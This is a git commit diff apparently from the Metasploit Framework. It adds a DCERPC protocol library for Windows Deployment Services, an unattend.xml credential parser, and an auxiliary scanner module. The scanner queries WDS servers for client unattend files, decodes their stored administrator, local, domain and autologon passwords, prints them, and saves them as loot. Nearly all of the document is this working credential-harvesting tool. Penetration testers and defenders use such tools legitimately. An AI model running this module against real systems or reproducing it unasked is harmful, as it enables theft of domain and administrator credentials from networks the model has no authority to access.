Repackage as single module pull
parent
a23ebaee9f
commit
e60d10bd3d
|
@ -0,0 +1,128 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
class Unattend
|
||||
|
||||
def self.parse(xml)
|
||||
results = []
|
||||
unattend = xml.elements['unattend']
|
||||
return if unattend.nil?
|
||||
unattend.each_element do |settings|
|
||||
next if settings.class != REXML::Element
|
||||
settings.get_elements('component').each do |c|
|
||||
next if c.class != REXML::Element
|
||||
results << extract_useraccounts(c.elements['UserAccounts'])
|
||||
results << extract_autologon(c.elements['AutoLogon'])
|
||||
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
||||
end
|
||||
end
|
||||
return results.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from Deployment Services.
|
||||
# We can only seem to add one <Login> with Windows System Image Manager, so
|
||||
# we'll only enum one.
|
||||
#
|
||||
def self.extract_deployment(deployment)
|
||||
return [] if deployment.nil?
|
||||
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
||||
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
||||
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
||||
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from AutoLogon
|
||||
#
|
||||
def self.extract_autologon(auto_logon)
|
||||
return [] if auto_logon.nil?
|
||||
|
||||
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
||||
username = auto_logon.elements['Username'].get_text.value rescue ''
|
||||
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
||||
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from UserAccounts
|
||||
#
|
||||
def self.extract_useraccounts(user_accounts)
|
||||
return[] if user_accounts.nil?
|
||||
|
||||
results = []
|
||||
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
||||
account_types.each do |t|
|
||||
element = user_accounts.elements[t]
|
||||
next if element.nil?
|
||||
|
||||
case t
|
||||
#
|
||||
# Extract the password from AdministratorPasswords
|
||||
#
|
||||
when account_types[0]
|
||||
password = element.elements['Value'].get_text.value rescue ''
|
||||
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
||||
end
|
||||
|
||||
if not password.empty?
|
||||
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
||||
end
|
||||
|
||||
#
|
||||
# Extract the sensitive data from DomainAccounts.
|
||||
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
||||
#
|
||||
when account_types[1] #DomainAccounts
|
||||
element.elements.each do |account_list|
|
||||
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
||||
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
||||
|
||||
results << {'type' => 'domain', 'username' => name, 'group' => group}
|
||||
end
|
||||
#
|
||||
# Extract the username/password from LocalAccounts
|
||||
#
|
||||
when account_types[2] #LocalAccounts
|
||||
element.elements.each do |local|
|
||||
password = local.elements['Password/Value'].get_text.value rescue ''
|
||||
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
username = local.elements['Name'].get_text.value rescue ''
|
||||
results << {'type' => 'local', 'username' => username, 'password' => password}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions'
|
|||
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
|
||||
else
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
||||
if self.handle.uuid.length == 4
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0],
|
||||
self.handle.uuid[1],
|
||||
self.handle.uuid[2],
|
||||
self.handle.uuid[3])
|
||||
else
|
||||
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
|
||||
end
|
||||
end
|
||||
|
||||
raise 'make_bind failed' if !bind
|
||||
|
|
|
@ -11,11 +11,15 @@ require 'rex/text'
|
|||
UUID = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Create a standard DCERPC BIND request packet
|
||||
def self.make_bind(uuid, vers)
|
||||
def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers)
|
||||
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
|
||||
|
||||
if UUID.is? xfer_syntax_uuid
|
||||
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
|
||||
end
|
||||
|
||||
# Create the bind request packet
|
||||
buff =
|
||||
|
@ -37,7 +41,7 @@ require 'rex/text'
|
|||
UUID.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
UUID.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/dcerpc/wdscp/constants'
|
||||
require 'rex/proto/dcerpc/wdscp/packet'
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
|
||||
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
|
||||
# Not all values defined by the spec have been imported...
|
||||
class Constants
|
||||
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
|
||||
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
|
||||
|
||||
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
|
||||
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
|
||||
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
|
||||
VAR_NAME_VERSION = "VERSION"
|
||||
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
|
||||
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
|
||||
VAR_NAME_FLAGS = "FLAGS"
|
||||
VAR_NAME_CC = "CC" #Client Capabilities
|
||||
VAR_NAME_IMDC = "IMDC"
|
||||
|
||||
VAR_TYPE_LOOKUP = {
|
||||
VAR_NAME_ARCHITECTURE => :ULONG,
|
||||
VAR_NAME_CLIENT_GUID => :WSTRING,
|
||||
VAR_NAME_CLIENT_MAC => :WSTRING,
|
||||
VAR_NAME_VERSION => :ULONG,
|
||||
VAR_NAME_MESSAGE_TYPE => :ULONG,
|
||||
VAR_NAME_TRANSACTION_ID => :WSTRING,
|
||||
VAR_NAME_FLAGS => :ULONG,
|
||||
VAR_NAME_CC => :ULONG,
|
||||
VAR_NAME_IMDC => :ULONG
|
||||
}
|
||||
|
||||
CC_FLAGS = {
|
||||
:V2 => 1,
|
||||
:VHDX => 2
|
||||
}
|
||||
|
||||
DOMAIN_JOIN_FLAGS = {
|
||||
:JOIN_DOMAIN => 1,
|
||||
:ACCOUNT_EXISTS => 2,
|
||||
:PRESTAGE_USING_MAC => 3,
|
||||
:RESET_BOOT_PROGRAM => 256
|
||||
}
|
||||
|
||||
ARCHITECTURE = {
|
||||
:X64 => 9,
|
||||
:X86 => 0,
|
||||
:IA64 => 6,
|
||||
:ARM => 5
|
||||
}
|
||||
|
||||
PACKET_TYPE = {
|
||||
:REQUEST => 1,
|
||||
:REPLY => 2
|
||||
}
|
||||
|
||||
OPCODE = {
|
||||
:IMG_ENUMERATE => 2,
|
||||
:LOG_INIT => 3,
|
||||
:LOG_MSG => 4,
|
||||
:GET_CLIENT_UNATTEND => 5,
|
||||
:GET_UNATTEND_VARIABLES => 6,
|
||||
:GET_DOMAIN_JOIN_INFORMATION => 7,
|
||||
:RESET_BOOT_PROGRAM => 8,
|
||||
:GET_MACHINE_DRIVER_PACKAGES => 200
|
||||
}
|
||||
|
||||
BASE_TYPE = {
|
||||
:BYTE => 0x0001,
|
||||
:USHORT => 0x0002,
|
||||
:ULONG => 0x0004,
|
||||
:ULONG64 => 0x0008,
|
||||
:STRING => 0x0010,
|
||||
:WSTRING => 0x0020,
|
||||
:BLOB => 0x0040
|
||||
}
|
||||
|
||||
TYPE_MODIFIER = {
|
||||
:NONE => 0x0000,
|
||||
:ARRAY => 0x1000
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
class Packet
|
||||
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(packet_type, opcode)
|
||||
if opcode.nil? || packet_type.nil?
|
||||
raise(ArgumentError, "Packet arguments cannot be nil")
|
||||
end
|
||||
|
||||
@variables = []
|
||||
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
|
||||
@opcode = WDS_CONST::OPCODE[opcode]
|
||||
end
|
||||
|
||||
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
||||
padding = 0
|
||||
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
|
||||
name = name.encode('UTF-16LE').unpack('H*')[0]
|
||||
|
||||
value_length ||= value.length
|
||||
|
||||
len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16.
|
||||
@variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len)
|
||||
end
|
||||
|
||||
def create
|
||||
packet = []
|
||||
var_count = @variables.count
|
||||
|
||||
packet_size = 0
|
||||
@variables.each do |var|
|
||||
packet_size += var.length
|
||||
end
|
||||
|
||||
packet_size += 16 # variables + operation
|
||||
|
||||
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
||||
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
||||
packet << [packet_size+40].pack('Q')*2
|
||||
packet << create_endpoint_header(packet_size)
|
||||
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
||||
packet.concat(@variables)
|
||||
|
||||
return packet.join
|
||||
end
|
||||
|
||||
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
||||
return [ packet_size, # PacketSize
|
||||
256, # Version
|
||||
packet_type, # Packet_Type
|
||||
0, # Padding
|
||||
opcode, # Opcode
|
||||
var_count, # Variable Count
|
||||
].pack('VvCCVV')
|
||||
end
|
||||
|
||||
def create_endpoint_header(packet_size)
|
||||
return [ 40, # Header_Size
|
||||
256, # Version
|
||||
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
||||
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
||||
"\x00"*16, # Reserved
|
||||
].pack('vvVa16a16')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,221 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/proto/dcerpc/wdscp'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
|
||||
'Description' => %q{
|
||||
This module retrieves the client unattend file from Windows
|
||||
Deployment Services RPC service and parses out the stored credentials.
|
||||
Tested against Windows 2008 R2
|
||||
},
|
||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '',
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
||||
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5040),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
query_host(ip)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip}:#{rport} error: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def query_host(rhost)
|
||||
# Create a handler with our UUID and Transfer Syntax
|
||||
self.handle = Rex::Proto::DCERPC::Handle.new(
|
||||
[
|
||||
WDS_CONST::WDSCP_RPC_UUID,
|
||||
'1.0',
|
||||
'71710533-beba-4937-8319-b5dbef9ccc36',
|
||||
1
|
||||
],
|
||||
'ncacn_ip_tcp',
|
||||
rhost,
|
||||
[datastore['RPORT']]
|
||||
)
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
|
||||
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
|
||||
print_good("Bound to #{handle}")
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:name => "dcerpc",
|
||||
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
|
||||
)
|
||||
|
||||
table = Rex::Ui::Text::Table.new({
|
||||
'Header' => 'Windows Deployment Services',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
|
||||
})
|
||||
|
||||
creds_found = false
|
||||
|
||||
WDS_CONST::ARCHITECTURE.each do |architecture|
|
||||
if architecture[0] == :ARM && !datastore['ENUM_ARM']
|
||||
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
|
||||
next
|
||||
end
|
||||
|
||||
begin
|
||||
result = request_client_unattend(architecture)
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
vprint_error(e.to_s)
|
||||
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
||||
return
|
||||
end
|
||||
|
||||
unless result.nil?
|
||||
loot_unattend(architecture[0], result)
|
||||
results = parse_client_unattend(result)
|
||||
|
||||
results.each do |result|
|
||||
unless result.empty?
|
||||
unless result['username'].nil? || result['password'].nil?
|
||||
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
|
||||
creds_found = true
|
||||
domain = ""
|
||||
domain = result['domain'] if result['domain']
|
||||
report_creds(domain, result['username'], result['password'])
|
||||
table << [architecture[0], result['type'], domain, result['username'], result['password']]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if creds_found
|
||||
print_line
|
||||
table.print
|
||||
print_line
|
||||
else
|
||||
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
|
||||
end
|
||||
end
|
||||
|
||||
def request_client_unattend(architecture)
|
||||
# Construct WDS Control Protocol Message
|
||||
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
||||
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
|
||||
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
|
||||
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
|
||||
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
|
||||
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
|
||||
"\x00\x00")
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
|
||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
|
||||
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
|
||||
"\x00\x00")
|
||||
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
|
||||
wdsc_packet = packet.create
|
||||
|
||||
print_status("Sending #{architecture[0]} Client Unattend request ...")
|
||||
response = dcerpc.call(0, wdsc_packet)
|
||||
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
vprint_status('Received response ...')
|
||||
data = dcerpc.last_response.stub_data
|
||||
|
||||
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
||||
op_error_code = data.unpack('i*')[18]
|
||||
if op_error_code == 0
|
||||
if data.length < 277
|
||||
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
||||
return nil
|
||||
else
|
||||
vprint_status("Received #{architecture[0]} unattend file ...")
|
||||
return extract_unattend(data)
|
||||
end
|
||||
else
|
||||
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_unattend(data)
|
||||
start = data.index('<?xml')
|
||||
finish = data.index('</unattend>')+10
|
||||
return data[start..finish]
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
begin
|
||||
xml = REXML::Document.new(data)
|
||||
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid XML format")
|
||||
vprint_line(e.message)
|
||||
end
|
||||
|
||||
return Rex::Parser::Unattend.parse(xml).flatten
|
||||
end
|
||||
|
||||
def loot_unattend(archi, data)
|
||||
return if data.empty?
|
||||
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
|
||||
print_status("Raw version of #{archi} saved as: #{p}")
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 4050,
|
||||
:sname => 'dcerpc',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue